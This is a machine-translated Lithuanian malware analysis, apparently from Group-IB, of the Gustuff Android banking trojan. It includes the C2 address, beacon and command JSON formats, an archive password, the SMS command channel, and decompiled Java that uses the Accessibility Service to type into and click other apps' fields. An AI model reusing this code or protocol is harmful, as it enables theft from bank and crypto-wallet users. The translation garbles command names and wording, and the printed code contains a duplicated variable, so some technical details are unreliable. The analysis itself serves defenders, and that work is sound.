Kaip Android Trojos arklys Gustuff nugriebia grietinėlę (fiat ir crypto) iš jūsų paskyrų

Kaip Android Trojos arklys Gustuff nugriebia grietinėlę (fiat ir crypto) iš jūsų paskyrų

Kaip tik kitą dieną Group-IB informuotas apie mobiliojo Android Trojan Gustuff veiklą. Jis veikia išskirtinai tarptautinėse rinkose, atakuodamas 100 didžiausių užsienio bankų klientus, mobiliųjų 32 kriptovaliutų piniginių vartotojus, taip pat didelius elektroninės prekybos išteklius. Tačiau „Gustuff“ kūrėjas yra rusakalbis kibernetinis nusikaltėlis Bestoffer slapyvardžiu. Dar visai neseniai jis savo Trojos arklys gyrė kaip „rimtą produktą žmonėms, turintiems žinių ir patirties“.

Grupės IB kenkėjiškų kodų analizės specialistas Ivanas Pisarevas savo tyrime jis išsamiai pasakoja apie tai, kaip veikia Gustuff ir kokie jo pavojai.

Kam Gustuffas medžioja?

Gustuff priklauso naujos kartos kenkėjiškoms programoms su visiškai automatizuotomis funkcijomis. Pasak kūrėjo, Trojos arklys tapo nauja ir patobulinta „AndyBot“ kenkėjiškos programos versija, kuri nuo 2017 metų lapkričio mėnesio atakuoja „Android“ telefonus ir vagia pinigus per sukčiavimo žiniatinklio formas, prisidengusiomis žinomų tarptautinių bankų ir mokėjimo sistemų mobiliosiomis programomis. Bestoffer pranešė, kad „Gustuff Bot“ nuomos kaina buvo 800 USD per mėnesį.

„Gustuff“ pavyzdžio analizė parodė, kad Trojos arklys potencialiai taikosi į klientus, naudojančius didžiausių bankų, tokių kaip „Bank of America“, „Bank of Scotland“, „JPMorgan“, „Wells Fargo“, „Capital One“, „TD Bank“, „PNC Bank“, mobiliąsias programas, taip pat kriptovaliutų pinigines. Bitcoin piniginė, BitPay, Cryptopay, Coinbase ir kt.

Iš pradžių sukurtas kaip klasikinis bankininkystės Trojos arklys, dabartinė versija Gustuff žymiai išplėtė galimų atakų taikinių sąrašą. Be „Android“ programų, skirtų bankams, „fintech“ įmonėms ir kriptovaliutų paslaugoms, „Gustuff“ yra skirta prekyvietės programų, internetinių parduotuvių, mokėjimo sistemų ir momentinių žinučių naudotojams. Visų pirma, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ir kt.

Įėjimo taškas: masinės infekcijos apskaičiavimas

„Gustuff“ pasižymi „klasikiniu“ įsiskverbimo į „Android“ išmaniuosius telefonus per SMS žinutes su nuorodomis į APK. Kai „Android“ įrenginys yra užkrėstas Trojos arkliu serverio komanda, „Gustuff“ gali toliau plisti per užkrėsto telefono kontaktų duomenų bazę arba per serverio duomenų bazę. „Gustuff“ funkcionalumas skirtas masiniam užkrėtimui ir maksimaliam jos operatorių verslo kapitalizavimui – ji turi unikalią „automatinio pildymo“ funkciją teisėtose mobiliosios bankininkystės programose ir kriptovaliutų piniginėse, kuri leidžia pagreitinti ir padidinti pinigų vagysčių skaičių.

„Trojos arklys“ tyrimas parodė, kad automatinio pildymo funkcija jame buvo įdiegta naudojant neįgaliesiems skirtą paslaugą „Accessibility Service“. „Gustuff“ nėra pirmasis Trojos arklys, sėkmingai apeinantis apsaugą nuo sąveikos su kitų programų langų elementais, naudojantys šią „Android“ paslaugą. Tačiau prieinamumo paslauga kartu su automobilio užpildymu vis dar naudojama gana retai.

Atsisiuntus į aukos telefoną, Gustuff, naudodamasis Prieinamumo paslauga, gali bendrauti su kitų programų (bankininkystės, kriptovaliutos, taip pat apsipirkimo internetu, susirašinėjimo ir pan.) langų elementais, atlikdamas užpuolikams būtinus veiksmus. . Pavyzdžiui, serverio komanda Trojos arklys gali paspausti mygtukus ir pakeisti teksto laukų reikšmes bankinėse programose. Naudojant Prieinamumo paslaugos mechanizmą, Trojos arklys gali apeiti saugos mechanizmus, kuriuos bankai naudoja kovodami su ankstesnės kartos mobiliaisiais Trojos arkliais, taip pat „Google“ įdiegtus saugos politikos pakeitimus naujose „Android“ OS versijose. Taigi, Gustuff „moka“ išjungti „Google Protect“ apsaugą: pasak autoriaus, ši funkcija veikia 70% atvejų.

Kaip Android Trojos arklys Gustuff nugriebia grietinėlę (fiat ir crypto) iš jūsų paskyrų

Gustuff taip pat gali rodyti netikrus PUSH pranešimus su teisėtų mobiliųjų programų piktogramomis. Vartotojas paspaudžia PUSH pranešimą ir mato iš serverio atsisiųstą sukčiavimo langą, kuriame įveda prašomos banko kortelės ar kriptovaliutos piniginės duomenis. Pagal kitą Gustuff scenarijų atidaroma programa, kurios vardu buvo rodomas PUSH pranešimas. Tokiu atveju kenkėjiška programa, gavusi komandą iš serverio per Prieinamumo paslaugą, gali užpildyti apgaulingos operacijos bankininkystės programos formos laukus.

„Gustuff“ funkcionalumas taip pat apima informacijos apie užkrėstą įrenginį siuntimą į serverį, galimybę skaityti / siųsti SMS žinutes, USSD užklausų siuntimą, SOCKS5 tarpinio serverio paleidimą, saito sekimą, failų (įskaitant dokumentų nuskaitytas nuotraukas, ekrano kopijas, nuotraukas) siuntimą į serverį, atkurkite įrenginio gamyklinius nustatymus.

Kenkėjiškų programų analizė

Prieš diegdama kenkėjišką programą, Android OS vartotojui parodo langą, kuriame yra Gustuff prašomų teisių sąrašas:

Kaip Android Trojos arklys Gustuff nugriebia grietinėlę (fiat ir crypto) iš jūsų paskyrų
Programa bus įdiegta tik gavus vartotojo sutikimą. Paleidus programą, Trojos arklys parodys vartotojui langą:

Kaip Android Trojos arklys Gustuff nugriebia grietinėlę (fiat ir crypto) iš jūsų paskyrų
Po to jis pašalins savo piktogramą.

Gustuff, pasak autoriaus, pakuoja FTT pakuotojas. Po paleidimo programa periodiškai susisiekia su CnC serveriu, kad gautų komandas. Keli failai, kuriuos išnagrinėjome, naudojo IP adresą kaip valdymo serverį 88.99.171[.]105 (toliau mes jį žymėsime kaip <%CnC%>).

Po paleidimo programa pradeda siųsti pranešimus į serverį http://<%CnC%>/api/v1/get.php.

Tikimasi, kad atsakymas bus JSON tokiu formatu:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Kiekvieną kartą, kai programa pasiekiama, ji siunčia informaciją apie užkrėstą įrenginį. Pranešimo formatas parodytas žemiau. Verta paminėti, kad laukai pilnas, papildomai, Apps и leidimas – neprivaloma ir bus išsiųsta tik tuo atveju, jei užklausos komanda iš CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Konfigūracijos duomenų saugojimas

Gustuff saugo svarbią informaciją pirmenybės faile. Failo pavadinimas, taip pat jame esančių parametrų pavadinimai yra apskaičiavus MD5 sumą iš eilutės 15413090667214.6.1<%name%>Kur <%name%> - pradinis pavadinimas-reikšmė. Python vardo generavimo funkcijos interpretacija:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Toliau mes jį pažymėsime kaip vardo generatorius (įvestis).
Taigi pirmasis failo pavadinimas yra: pavadinimo generatorius ("API_SERVER_LIST"), jame yra reikšmės tokiais pavadinimais:

Kintamojo pavadinimas Vertė
pavadinimo generatorius ("API_SERVER_LIST") Jame yra CnC adresų sąrašas masyvo pavidalu.
pavadinimo generatorius ("API_SERVER_URL") Yra CnC adresas.
pavadinimo generatorius ("SMS_UPLOAD") Vėliava nustatyta pagal numatytuosius nustatymus. Jei vėliavėlė nustatyta, siunčia SMS žinutes į CnC.
vardų generatorius ("SMS_ROOT_NUMBER") Telefono numeris, kuriuo bus siunčiamos užkrėsto įrenginio gautos SMS žinutės. Numatytasis yra nulinis.
vardų generatorius ("SMS_ROOT_NUMBER_RESEND") Vėliava išvalyta pagal numatytuosius nustatymus. Jei įdiegta, kai užkrėstas įrenginys gaus SMS žinutę, jis bus išsiųstas pagrindiniu numeriu.
vardų generatorius („DEFAULT_APP_SMS“) Vėliava išvalyta pagal numatytuosius nustatymus. Jei ši vėliavėlė nustatyta, programa apdoros gaunamus SMS pranešimus.
pavadinimo generatorius ("DEFAULT_ADMIN") Vėliava išvalyta pagal numatytuosius nustatymus. Jei vėliavėlė nustatyta, programa turi administratoriaus teises.
pavadinimo generatorius ("Numatytasis_prieiga") Vėliava išvalyta pagal numatytuosius nustatymus. Jei vėliavėlė nustatyta, veikia paslauga, naudojanti pritaikymo neįgaliesiems paslaugą.
vardų generatorius ("APPS_CONFIG") JSON objektas, kuriame yra veiksmų, kuriuos reikia atlikti, kai suaktyvinamas su konkrečia programa susietas pritaikymo neįgaliesiems įvykis, sąrašas.
pavadinimo generatorius ("APPS_INSTALLED") Saugo įrenginyje įdiegtų programų sąrašą.
pavadinimo generatorius ("IS_FIST_RUN") Vėliava iš naujo nustatoma pirmojo starto metu.
pavadinimo generatorius ("UNIQUE_ID") Yra unikalus identifikatorius. Sukuriamas, kai robotas paleidžiamas pirmą kartą.

Modulis, skirtas komandoms iš serverio apdoroti

Programa saugo CnC serverių adresus masyvo, užkoduoto Pagrindas85 linijos. CnC serverių sąrašas gali būti pakeistas gavus atitinkamą komandą, tokiu atveju adresai bus saugomi pasirinkimo faile.

Atsakydamas į užklausą, serveris programai siunčia komandą. Verta paminėti, kad komandos ir parametrai pateikiami JSON formatu. Programa gali apdoroti šias komandas:

Komanda aprašymas
pirmynPradėti Pradėkite siųsti SMS žinutes, gautas užkrėsto įrenginio į CnC serverį.
pirmynStop Nustokite siųsti SMS žinutes, gautas užkrėsto įrenginio į CnC serverį.
ussdRun Vykdykite USSD užklausą. Numeris, kuriam reikia pateikti USSD užklausą, yra JSON lauke „numeris“.
siųsti SMS Išsiųskite vieną SMS žinutę (jei reikia, žinutė „suskirstoma“ į dalis). Kaip parametras komanda paima JSON objektą, kuriame yra laukai "to" - paskirties numeris ir "body" - pranešimo turinys.
siųstiSmsAb Siųsti SMS žinutes (jei reikia, žinutė „suskirstoma“ į dalis) visiems užkrėsto įrenginio kontaktų sąraše. Intervalas tarp pranešimų siuntimo yra 10 sekundžių. Pranešimo turinys yra JSON lauke „body“
siųstiSmsMass Komandos parametruose nurodytais kontaktais siųsti SMS žinutes (jei reikia, žinutė „suskaldoma“ į dalis). Intervalas tarp pranešimų siuntimo yra 10 sekundžių. Kaip parametras komanda paima JSON masyvą (lauką „sms“), kurio elementuose yra laukai „to“ – paskirties numeris ir „body“ – pranešimo turinys.
ChangeServer Ši komanda gali naudoti reikšmę su raktu „url“ kaip parametrą – tada robotas pakeis nameGenerator („SERVER_URL“) arba „masyvo“ reikšmę – tada robotas įrašys masyvą į nameGenerator („API_SERVER_LIST“) Taigi programa pakeičia CnC serverių adresus.
adminNumber Komanda skirta dirbti su šakniniu numeriu. Komanda priima JSON objektą su šiais parametrais: "number" - pakeiskite pavadinimą generatorius ("ROOT_NUMBER") į gautą reikšmę, "send" - pakeiskite pavadinimą Generatorius ("SMS_ROOT_NUMBER_RESEND"), "sendId" - siųsti į nameGenerator ("ROOT_NUMBER") ) unikalus ID.
atnaujinti informaciją Siųsti informaciją apie užkrėstą įrenginį į serverį.
Ištrinti duomenis Komanda skirta ištrinti vartotojo duomenis. Priklausomai nuo to, kokiu pavadinimu programa buvo paleista, duomenys visiškai ištrinami perkraunant įrenginį (pagrindinis vartotojas), arba ištrinami tik vartotojo duomenys (antrinis vartotojas).
kojinėsPradėti Paleiskite tarpinio serverio modulį. Modulio veikimas aprašytas atskirame skyriuje.
kojinėsStop Sustabdykite tarpinio serverio modulį.
atidaryti nuorodą Sekite nuorodą. Nuoroda yra JSON parametre po „url“ raktu. „android.intent.action.VIEW“ naudojamas nuorodai atidaryti.
įkelti visas SMS Siųsti visas įrenginio gautas SMS žinutes į serverį.
įkelti visas nuotraukas Siųsti vaizdus iš užkrėsto įrenginio į URL. URL pateikiamas kaip parametras.
įkelti failą Siųsti failą į URL iš užkrėsto įrenginio. URL pateikiamas kaip parametras.
įkeltiPhoneNumbers Siųskite telefono numerius iš savo kontaktų sąrašo į serverį. Jei JSON objekto reikšmė su raktu „ab“ gaunama kaip parametras, programa gauna kontaktų sąrašą iš telefonų knygos. Jei kaip parametras gaunamas JSON objektas su raktu „sms“, programa nuskaito SMS žinučių siuntėjų kontaktų sąrašą.
keistiArchyvas Programa atsisiunčia failą iš adreso, kuris pateikiamas kaip parametras, naudodama „url“ klavišą. Atsisiųstas failas išsaugomas pavadinimu „archive.zip“. Tada programa išpakuosis failą, pasirinktinai naudodama archyvo slaptažodį „b5jXh37gxgHBrZhQ4j3D“. Išpakuoti failai išsaugomi [išorinėje atmintyje]/hgps kataloge. Šiame kataloge programa saugo žiniatinklio klastotes (aprašyta toliau).
veiksmai Komanda skirta dirbti su Action Service, kuri aprašyta atskirame skyriuje.
testas Nieko nedaryti.
parsisiųsti Komanda skirta atsisiųsti failą iš nuotolinio serverio ir išsaugoti jį kataloge „Atsisiuntimai“. URL ir failo pavadinimas pateikiami kaip parametras, JSON parametro objekto laukai atitinkamai: „url“ ir „fileName“.
remove Pašalina failą iš „Atsisiuntimų“ katalogo. Failo pavadinimas pateikiamas JSON parametre su raktu „fileName“. Standartinis failo pavadinimas yra „tmp.apk“.
pranešimas Rodyti pranešimą su aprašymo ir pavadinimo tekstais, nustatytais valdymo serverio.

Komandos formatas pranešimas:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Tiriamos bylos sugeneruotas pranešimas atrodo identiškas lauke nurodytos programos sugeneruotiems pranešimams programa. Jei lauko reikšmė openApp — Tiesa, atidarius pranešimą, paleidžiama lauke nurodyta programa programa. Jei lauko reikšmė openApp — Netiesa, taigi:

  • Atsidaro sukčiavimo langas, kurio turinys atsisiunčiamas iš katalogo <%external storage%>/hgps/<%filename%>
  • Atsidaro sukčiavimo langas, kurio turinys atsisiunčiamas iš serverio <%url%>?id=<%Boto ID%>&app=<%Programos pavadinimas%>
  • Atsidaro sukčiavimo langas, užmaskuotas kaip „Google Play“ kortelė, su galimybe įvesti kortelės duomenis.

Programa siunčia bet kurios komandos rezultatą į <%CnC%>set_state.php kaip JSON objektas tokiu formatu:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Komandų, kurias apima programos procesai, sąrašas veiksmas. Kai gaunama komanda, komandų apdorojimo modulis pasiekia šią paslaugą, kad įvykdytų išplėstinę komandą. Paslauga priima JSON objektą kaip parametrą. Paslauga gali vykdyti šias komandas:

1. PARAMS_ACTION — gavusi tokią komandą, paslauga pirmiausia iš JSON parametro gauna tipo rakto reikšmę, kuri gali būti tokia:

  • Paslaugos informacija – antrinė komanda gauna reikšmę pagal raktą iš JSON parametro įtrauktiNesvarbu. Jei vėliavėlė yra True, programa nustato vėliavėlę FLAG_ISOLATED_PROCESS prie paslaugos, naudojant pritaikymo neįgaliesiems paslaugą. Tokiu būdu paslauga bus paleista atskiru procesu.
  • šaknis — gauti ir siųsti serveriui informaciją apie šiuo metu fokusuotą langą. Programa informaciją gauna naudodama AccessibilityNodeInfo klasę.
  • VYTEGA — prašyti administratoriaus teisių.
  • delsimas — sustabdyti „ActionsService“ rakto „duomenų“ parametre nurodytam milisekundžių skaičiui.
  • langai — siųsti vartotojui matomų langų sąrašą.
  • įrengti — įdiekite programą užkrėstame įrenginyje. Archyvo paketo pavadinimas yra rakte „fileName“. Pats archyvas yra atsisiuntimų kataloge.
  • bendras – antrinė komanda skirta naršyti iš esamo lango:
    • greitųjų nustatymų meniu
    • atgal
    • namai
    • į pranešimus
    • į neseniai atidarytą programų langą

  • pradėti - paleiskite programą. Programos pavadinimas pateikiamas kaip parametras pagal raktą duomenys.
  • garsai — pakeisti garso režimą į tylą.
  • atrakinti — įjungia visą ekrano ir klaviatūros apšvietimą. Programa atlieka šį veiksmą naudodama WakeLock, kaip žymą nurodydama eilutę [Application label]:INFO
  • leidimasPerdanga — funkcija neįdiegta (atsakymas į komandos vykdymą yra {"message":"Not support"} arba {"message":"low sdk"})
  • gestas — funkcija neįdiegta (atsakymas į komandos vykdymą yra {"message":"Not support"}arba {"message":"Low API"})
  • Leidimai — ši komanda reikalinga norint prašyti leidimo programai. Tačiau užklausos funkcija neįdiegta, todėl komanda yra beprasmė. Prašomų teisių sąrašas pateikiamas kaip JSON masyvas su raktu „leidimai“. Standartinis sąrašas:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • atidaryti — rodyti sukčiavimo langą. Atsižvelgiant į parametrą, gaunamą iš serverio, programa gali rodyti šiuos sukčiavimo langus:
    • Rodyti sukčiavimo langą, kurio turinys įrašytas į katalogo failą <%external directory%>/hgps/<%param_filename%>. Vartotojo sąveikos su langu rezultatas bus išsiųstas į <%CnC%>/records.php
    • Rodyti sukčiavimo langą, kurio turinys iš anksto įkeltas iš adreso <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Vartotojo sąveikos su langu rezultatas bus išsiųstas į <%CnC%>/records.php
    • Rodyti sukčiavimo langą, užmaskuotą kaip „Google Play“ kortelė.

  • interaktyvus — komanda skirta sąveikauti su kitų programų lango elementais naudojant AcessibilityService. Sąveikos programoje įdiegta speciali paslauga. Tiriama programa gali sąveikauti su langais:
    • Šiuo metu aktyvus. Šiuo atveju parametre yra objekto, su kuriuo reikia sąveikauti, ID arba tekstas (pavadinimas).
    • Matoma vartotojui tuo metu, kai vykdoma komanda. Programa parenka langus pagal ID.

    Gavęs daiktus AccessibilityNodeInfo Su dominančiais lango elementais programa, priklausomai nuo parametrų, gali atlikti šiuos veiksmus:

    • fokusuoti – nustatyti fokusavimą į objektą.
    • spustelėkite – spustelėkite objektą.
    • actionId – atlikti veiksmą pagal ID.
    • setText – pakeiskite objekto tekstą. Keisti tekstą galima dviem būdais: atlikti veiksmą ACTION_SET_TEXT (jei užkrėsto įrenginio „Android“ versija yra jaunesnė arba lygi LOLLIPOP), arba įdėdami eilutę į mainų sritį ir įklijuodami ją į objektą (senesnėms versijoms). Šia komanda galima keisti duomenis banko programoje.

2. PARAMS_ACTIONS - taip pat kaip PARAMS_ACTION, gaunamas tik JSON komandų masyvas.

Atrodo, kad daugeliui žmonių bus įdomu, kaip atrodo sąveikos su kitos programos lango elementais funkcija. Štai kaip ši funkcija įdiegta Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Teksto pakeitimo funkcija:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Taigi, turėdamas teisingą valdymo serverio konfigūraciją, Gustuff gali užpildyti teksto laukus banko programoje ir spustelėti mygtukus, reikalingus operacijai užbaigti. Trojos arkliui net nereikia prisijungti prie programos – pakanka išsiųsti komandą, kad būtų parodytas PUSH pranešimas, o tada atidaryti anksčiau įdiegtą banko programą. Vartotojas pats patvirtins tapatybę, po to Gustuff galės užpildyti automobilį.

SMS žinučių apdorojimo modulis

Programa įdiegia įvykių tvarkyklę, kad užkrėstas įrenginys priimtų SMS žinutes. Tiriama programa gali gauti komandas iš operatoriaus, kurios pateikiamos SMS žinutėje. Komandos pateikiamos tokiu formatu:

7!5=<%Base64 užkoduota komanda%>

Programa ieško eilutės visose gaunamose SMS žinutėse 7!5=, kai aptinkama eilutė, ji iššifruoja eilutę iš Base64 4 poslinkyje ir vykdo komandą. Komandos yra panašios į CnC komandas. Vykdymo rezultatas siunčiamas tuo pačiu numeriu, iš kurio buvo gauta komanda. Atsakymo formatas:

7*5=<%Base64 „rezultato_kodo komandos“%> kodavimas

Pasirinktinai programa gali siųsti visus gautus pranešimus pagrindiniu numeriu. Norėdami tai padaryti, pirmenybės faile turi būti nurodytas šakninis numeris ir nustatyta pranešimo peradresavimo vėliavėlė. Užpuoliko numeriu siunčiama SMS žinutė tokiu formatu:

<%Nuo skaičiaus%> – <%Laikas, formatas: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Be to, pasirinktinai programa gali siųsti pranešimus CnC. SMS žinutė siunčiama į serverį JSON formatu:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Jei vėliava iškelta vardų generatorius („DEFAULT_APP_SMS“) – programa nustoja apdoroti SMS žinutę ir išvalo gaunamų pranešimų sąrašą.

Proxy modulis

Tiriamoje programoje yra Backconnect Proxy modulis (toliau – Proxy modulis), kuris turi atskirą klasę, apimančią statinius laukus su konfigūracija. Konfigūracijos duomenys pavyzdyje saugomi aiškia forma:

Kaip Android Trojos arklys Gustuff nugriebia grietinėlę (fiat ir crypto) iš jūsų paskyrų

Visi Proxy modulio atliekami veiksmai yra prisijungę prie failų. Norėdami tai padaryti, programa išorinėje saugykloje sukuria katalogą pavadinimu „logs“ (konfigūracijos klasės laukas ProxyConfigClass.logsDir), kuriame saugomi žurnalo failai. Prisijungimas vyksta failuose su pavadinimais:

  1. pagrindinis.txt – prie šio failo yra prisijungęs klasės „CommandServer“ darbas. Toliau eilutės str įregistravimas į šį failą bus pažymėtas kaip mainLog(str).
  2. sesija-<%id%>.txt — šis failas išsaugo žurnalo duomenis, susietus su konkrečia tarpinio serverio sesija. Toliau eilutės str registravimas šiame faile bus pažymėtas kaip sessionLog (str).
  3. serveris.txt – šis failas naudojamas registruoti visus duomenis, įrašytus į aukščiau aprašytus failus.

Žurnalo duomenų formatas:

<%Data%> [Gija[<%gijos id%>], id[]]: žurnalo eilutė

Išimtys, atsirandančios veikiant tarpinio serverio moduliui, taip pat įrašomos į failą. Norėdami tai padaryti, programa sugeneruoja JSON objektą tokiu formatu:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Tada jis konvertuoja jį į eilutės atvaizdavimą ir registruoja.

Proxy modulis paleidžiamas gavus atitinkamą komandą. Kai gaunama komanda paleisti tarpinio serverio modulį, programa paleidžia vadinamą paslaugą Pagrindinė paslauga, kuri atsakinga už Proxy modulio veikimo valdymą – jo paleidimą ir sustabdymą.

Paslaugos pradžios etapai:

1. Paleidžia laikmatį, kuris veikia kartą per minutę ir tikrina tarpinio serverio modulio veiklą. Jei modulis neaktyvus, jis paleidžiamas.
Taip pat kai suaktyvinamas įvykis android.net.conn.CONNECTIVITY_CHANGE Paleidžiamas tarpinio serverio modulis.

2. Programa sukuria pažadinimo užraktą su parametru PARTIAL_WAKE_LOCK ir jį pagauna. Tai neleidžia įrenginio CPU pereiti į miego režimą.

3. Paleidžia tarpinio serverio modulio komandų apdorojimo klasę, pirmiausia registruodamas eilutę mainLog("paleisti serverį") и

Serveris::start() host[<%proxy_cnc%>], komandos prievadas[<%command_port%>], proxyPort[<%proxy_port%>]

kur proxy_cnc, komandos_prievadas ir proxy_port – parametrai, gauti iš įgaliotojo serverio konfigūracijos.

Vadinama komandų apdorojimo klasė CommandConnection. Iš karto po paleidimo atliekami šie veiksmai:

4. Prisijungia prie ProxyConfigClass.host: ProxyConfigClass.commandPort ir siunčia duomenis apie užkrėstą įrenginį ten JSON formatu:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Kur:

  • id – identifikatorius, bando gauti reikšmę su lauku „id“ iš bendrinamų nuostatų failo, pavadinto „x“. Jei šios vertės gauti nepavyksta, ji sukuria naują. Taigi tarpinio serverio modulis turi savo identifikatorių, kuris generuojamas panašiai kaip Bot ID.
  • imei – įrenginio IMEI. Jei vertės gavimo metu įvyko klaida, vietoj šio lauko bus parašytas klaidos tekstinis pranešimas.
  • imsi – įrenginio tarptautinis mobiliojo ryšio abonento identifikatorius. Jei vertės gavimo metu įvyko klaida, vietoj šio lauko bus parašytas klaidos tekstinis pranešimas.
  • modelis – galutiniam vartotojui matomas galutinio produkto pavadinimas.
  • gamintojas – gaminio/techninės įrangos gamintojas (Build.MANUFACTURER).
  • androidVersion – eilutė formatu „<%release_version%> (<%os_version%>),<%sdk_version%>“
  • šalis – dabartinė įrenginio vieta.
  • partnerio ID yra tuščia eilutė.
  • packageName – paketo pavadinimas.
  • networkType – esamo tinklo ryšio tipas (pvz.: „WIFI“, „MOBILE“). Klaidos atveju grąžina nulį.
  • hasGsmSupport – tiesa – jei telefonas palaiko GSM, kitu atveju false.
  • simReady – SIM kortelės būsena.
  • simCountry – ISO šalies kodas (pagal SIM kortelės tiekėją).
  • networkOperator — operatoriaus pavadinimas. Jei vertės gavimo metu įvyko klaida, vietoj šio lauko bus parašytas klaidos tekstinis pranešimas.
  • simOperator – paslaugų teikėjo pavadinimas (SPN). Jei vertės gavimo metu įvyko klaida, vietoj šio lauko bus parašytas klaidos tekstinis pranešimas.
  • versija - šis laukas saugomas konfigūracijos klasėje; išbandytoms roboto versijoms jis buvo lygus „1.6“.

5. Perjungiamas į komandų laukimo iš serverio režimą. Komandos iš serverio pateikiamos tokiu formatu:

  • 0 offset – komanda
  • 1 poslinkis – sessionId
  • 2 poslinkis – ilgis
  • 4 poslinkis – duomenys

Kai gaunama komanda, programa registruoja:
mainLog("Antraštė { sessionId<%id%>], tipas[<%command%>], ilgis[<%length%>] }")

Galimos šios komandos iš serverio:

Vardas Komanda Duomenys Aprašymas
ryšio ID 0 Ryšio ID Sukurkite naują ryšį
SLEEP 3 Laikas Pristabdykite tarpinio serverio modulį
STALO TENISAS 4 - Siųsti PONG žinutę

